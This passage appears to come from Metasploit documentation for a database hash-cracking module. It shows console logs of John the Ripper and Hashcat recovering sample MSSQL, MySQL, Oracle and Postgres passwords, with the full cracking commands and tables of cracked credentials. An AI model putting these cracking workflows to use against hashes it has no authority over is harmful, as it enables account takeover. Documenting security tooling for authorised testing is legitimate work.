DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
1360 mysql-sha1 mysql-sha1_tere tere Single
|
||||
1361 oracle simon A Single
|
||||
1362 oracle SYSTEM THALES Single
|
||||
|
||||
[*] Checking dynamic_1506 hashes already cracked...
|
||||
[*] Cracking dynamic_1506 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1506 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1506 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1506 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1506 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
1360 mysql-sha1 mysql-sha1_tere tere Single
|
||||
1361 oracle simon A Single
|
||||
1362 oracle SYSTEM THALES Single
|
||||
|
||||
[*] Checking raw-sha1,oracle hashes already cracked...
|
||||
Unknown ciphertext format name requested
|
||||
[*] Cracking raw-sha1,oracle hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Unknown ciphertext format name requested
|
||||
Unknown ciphertext format name requested
|
||||
[*] Cracking raw-sha1,oracle hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Unknown ciphertext format name requested
|
||||
Unknown ciphertext format name requested
|
||||
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Unknown ciphertext format name requested
|
||||
Unknown ciphertext format name requested
|
||||
[*] Cracking raw-sha1,oracle hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Unknown ciphertext format name requested
|
||||
Unknown ciphertext format name requested
|
||||
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Unknown ciphertext format name requested
|
||||
Unknown ciphertext format name requested
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
1360 mysql-sha1 mysql-sha1_tere tere Single
|
||||
1361 oracle simon A Single
|
||||
1362 oracle SYSTEM THALES Single
|
||||
|
||||
[*] Checking oracle11 hashes already cracked...
|
||||
[*] Cracking oracle11 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:48) 100.0g/s 2400p/s 2400c/s 2400C/s epsilon..Buddahh
|
||||
Warning: passwords printed above might not be all those cracked
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking oracle11 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle11 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle11 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle11 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
1360 mysql-sha1 mysql-sha1_tere tere Single
|
||||
1361 oracle simon A Single
|
||||
1362 oracle SYSTEM THALES Single
|
||||
1363 oracle11 DEMO epsilon Single
|
||||
1364 oracle11 oracle11_epsilon epsilon Single
|
||||
|
||||
[*] Checking oracle12c hashes already cracked...
|
||||
[*] Cracking oracle12c hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:48) 16.66g/s 2133p/s 2133c/s 2133C/s test3:::..password0
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking oracle12c hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle12c hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle12c hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle12c hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
1360 mysql-sha1 mysql-sha1_tere tere Single
|
||||
1361 oracle simon A Single
|
||||
1362 oracle SYSTEM THALES Single
|
||||
1363 oracle11 DEMO epsilon Single
|
||||
1364 oracle11 oracle11_epsilon epsilon Single
|
||||
1365 oracle12c oracle12c_epsilon epsilon Single
|
||||
|
||||
[*] Checking dynamic_1034 hashes already cracked...
|
||||
[*] Cracking dynamic_1034 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:48) 50.00g/s 168000p/s 168000c/s 168000C/s test3:::..:::3tset4
|
||||
Use the "--show --format=dynamic_1034" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking dynamic_1034 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1034 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1034 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1034 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
1360 mysql-sha1 mysql-sha1_tere tere Single
|
||||
1361 oracle simon A Single
|
||||
1362 oracle SYSTEM THALES Single
|
||||
1363 oracle11 DEMO epsilon Single
|
||||
1364 oracle11 oracle11_epsilon epsilon Single
|
||||
1365 oracle12c oracle12c_epsilon epsilon Single
|
||||
1366 dynamic_1034 example password Single
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
mssql_foo foo Password
|
||||
oracle12c_epsilon epsilon Password
|
||||
DEMO epsilon Password
|
||||
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
|
||||
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
|
||||
simon A Password
|
||||
SYSTEM THALES Password
|
||||
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
|
||||
mysql-sha1_tere tere Password
|
||||
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
|
||||
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
|
||||
example password Password
|
||||
mssql12_Password1! Password1! Password
|
||||
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
|
||||
mssql05_toto toto Password
|
||||
oracle11_epsilon epsilon Password
|
||||
mssql_foo FOO Password
|
||||
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
|
||||
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
|
||||
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
|
||||
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
|
||||
mysql_probe probe Password
|
||||
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
|
||||
resource (hashes_hashcat.rb)> set action hashcat
|
||||
action => hashcat
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
[*] Checking mssql hashes already cracked...
|
||||
[*] Cracking mssql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mssql hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mssql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
|
||||
[*] Checking mssql05 hashes already cracked...
|
||||
[*] Cracking mssql05 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mssql05 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mssql05 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
|
||||
[*] Checking mssql12 hashes already cracked...
|
||||
[*] Cracking mssql12 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mssql12 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mssql12 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
|
||||
[*] Checking mysql hashes already cracked...
|
||||
[*] Cracking mysql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mysql hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mysql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
1382 mysql mysql_probe probe Wordlist
|
||||
|
||||
[*] Checking mysql-sha1 hashes already cracked...
|
||||
[*] Cracking mysql-sha1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mysql-sha1 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mysql-sha1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
1382 mysql mysql_probe probe Wordlist
|
||||
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
|
||||
|
||||
[*] Checking raw-sha1,oracle hashes already cracked...
|
||||
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking raw-sha1,oracle hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
1382 mysql mysql_probe probe Wordlist
|
||||
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
|
||||
1386 raw-sha1,oracle DEMO epsilon Wordlist
|
||||
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
|
||||
|
||||
[*] Checking oracle11 hashes already cracked...
|
||||
[*] Cracking oracle11 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking oracle11 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking oracle11 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
1382 mysql mysql_probe probe Wordlist
|
||||
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
|
||||
1386 raw-sha1,oracle DEMO epsilon Wordlist
|
||||
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
|
||||
|
||||
[*] Checking oracle12c hashes already cracked...
|
||||
[*] Cracking oracle12c hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
